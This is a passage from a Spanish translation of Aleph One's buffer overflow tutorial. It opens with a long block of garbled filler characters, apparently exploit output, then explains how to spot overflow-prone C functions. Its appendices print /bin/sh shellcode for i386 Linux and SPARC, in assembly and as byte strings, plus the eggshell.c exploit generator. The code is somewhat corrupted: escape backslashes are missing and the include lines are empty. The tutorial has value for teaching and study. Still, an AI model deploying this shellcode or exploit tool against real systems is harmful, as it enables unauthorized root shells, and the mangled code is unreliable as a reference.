¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤


ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°


¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿


°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ


¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤


ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿÿ¿°¤ÿ¿


°¤ÿ¿°¤ÿ¿°¤
Warning: some arguments in previous message were lost
$
-----------------------------------------------------------------------

Al primer intento! Esto ciertamente nos da moral. Dependiendo de como el exploit ha comparado nuestros datos del entorno con el programa que estas intentado explotar la direccion debe ser alta o baja. Experimenta tanto con offsets positivos como con negativos.


Encontrando buffer overflows
~~~~~~~~~~~~~~~~~~~~~

Buffer overflows son el resultado de poner mas informacion en un buffer de lo que el permite. Ya que C no tiene nada para comprobar lo grande que es un array en el codigo, los overflows se manifiestan frecuentemente ellos mismos al escribir mas alla del caracter final de un array. La libreria standar de C provee de un numero de funciones para copiar y concatenar cadenas, que no hacen ningun tipo de chequeo. Esto incluye: strcat(), strcpy(), sprintf() y vsprintf(). Estas funciones operan en strings que terminan en 0, y no chequean si la cadena recibida puede desbordar. gets() es una funcion que lee una linea de stdin a un buffer hasta que o termina una linea nueva o EOF. Esto no chequea tampoco buffer overflows.  La familia de funciones scanf() tambien tiene un problema: si se esta relacionando una secuencia de caracteres sin espacios en blanco (%s), o se relaciona una secuencia no vacia de caracteres desde un set especificado (%[]), y la cadena apunta a un puntero char, que no es lo suficientemente grande para aceptar la secuencia de caracteres entera, y no se ha definido el ancho maximo opcional del campo. Si el objetivo de alguna de estas funciones es un buffer de unas dimensiones determinadas, y su otro argumento era como derivado de la entrada del usuario hay grandes posibilidades de que a lo mejor puedas explotar un buffer overflow.

Otra construccion bastante usual en programacion que encontramos en diversos codigo es el uso de un bucle while que lee un caracter cada vez en un buffer desde stdin o algun fichero hasta el final de la linea, final del archivo, o algo que lo delimita. Este tipo de constructos usan normalmente estas funciones: getc(), fgetc() o getchar().  Si no hay un chequeo especifico para overflows en un bucle while, tales programas son facilmente explotables.

Para concluir, grep(1) es tu amigo. Los codigos de sistemas operativos libres y sus utilidades los puedes encontrar facilmente.  Esto llega a ser bastante interesante una vez que te das cuenta de que algunas utilidades  de sistemas operativos comerciales derivan de las mismas fuentes que las libres.  Usa el codigo.


 Apendice A - Shellcode para diferentes SOs/arquitecturas
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

i386/Linux
-----------------------------------------------------------------------
        jmp    0x1f
        popl   %esi
        movl   %esi,0x8(%esi)
        xorl   %eax,%eax
        movb   %eax,0x7(%esi)
        movl   %eax,0xc(%esi)
        movb   $0xb,%al
        movl   %esi,%ebx
        leal   0x8(%esi),%ecx
        leal   0xc(%esi),%edx
        int    $0x80
        xorl   %ebx,%ebx
        movl   %ebx,%eax
        inc    %eax
        int    $0x80
        call   -0x24
        .string "/bin/sh"
-----------------------------------------------------------------------

SPARC/Solaris
-----------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
        ta      8
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      8
-----------------------------------------------------------------------

SPARC/SunOS
-----------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
        mov     -0x1, %l5
        ta      %l5 + 1
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      %l5 + 1
-----------------------------------------------------------------------

  Apendice B - Programa de buffer overflow generico
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

shellcode.h
-----------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)
       
#define NOP_SIZE        1
char nop[] = "x90";
char shellcode[] =
  "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
  "x80xe8xdcxffxffxff/bin/sh";
       
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE        4
char nop[]="xacx15xa1x6e";
char shellcode[] =
  "x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80x0e"
  "x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbfxf0"
  "xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bx91xd0x20x08"
  "x90x1bxc0x0fx82x10x20x01x91xd0x20x08";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}

#elif defined(__sparc__) && defined(__sun__)
       
#define NOP_SIZE        4
char nop[]="xacx15xa1x6e";
char shellcode[] =
  "x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80x0e"
  "x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbfxf0"
  "xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bxaax10x3fxff"
  "x91xd5x60x01x90x1bxc0x0fx82x10x20x01x91xd5x60x01";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}

#endif
-----------------------------------------------------------------------

eggshell.c
-----------------------------------------------------------------------
/*
 * eggshell v1.0
 *     
 * Aleph One / aleph1@underground.org
 */
#include
#include
#include "shellcode.h"

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
 
void usage(void);

void main(int argc, char *argv[]) {
  char *ptr, *bof, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

  while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
    switch (c) {
      case 'a':
        align = atoi(optarg);
        break;
      case 'b':
        bsize = atoi(optarg);
        break;
      case 'e':
        eggsize = atoi(optarg);
        break;
      case 'o':
        offset = atoi(optarg);
        break;
      case '?':
        usage();
        exit(0);
    }
 
  if (strlen(shellcode) > eggsize) {
    printf("Shellcode is larger the the egg. ");
    exit(0);
  }
  
  if (!(bof = malloc(bsize))) {
    printf("Can't allocate memory. ");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory. ");
    exit(0);
  }
       
  addr = get_sp() - offset;
  printf("[ Buffer size: %d Egg size: %d Aligment: %d ] ",
    bsize, eggsize, align);
  printf("[ Address: 0x%x Offset: %d ] ", addr, offset);
   
  addr_ptr = (long *) bof;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
   
  ptr = egg;
  for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
    for (n = 0; n < NOP_SIZE; n++) {
      m = (n + align) % NOP_SIZE;
      *(ptr++) = nop[m];
    }
 
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
 
  bof[bsize - 1] = '';
  egg[eggsize - 1] = '';
 
  memcpy(egg,"EGG=",4);
  putenv(egg);
   
  memcpy(bof,"BOF=",4);
  putenv(bof);
  system("/bin/sh");
}  
 
void usage(void) {
  (void)fprintf(stderr,
    "usage: eggshell [-a ] [-b ] [-e ] [-o
set>] ");
}
-----------------------------------------------------------------------

 


Index · Libro de Visitas · Foro de discusion · e-mail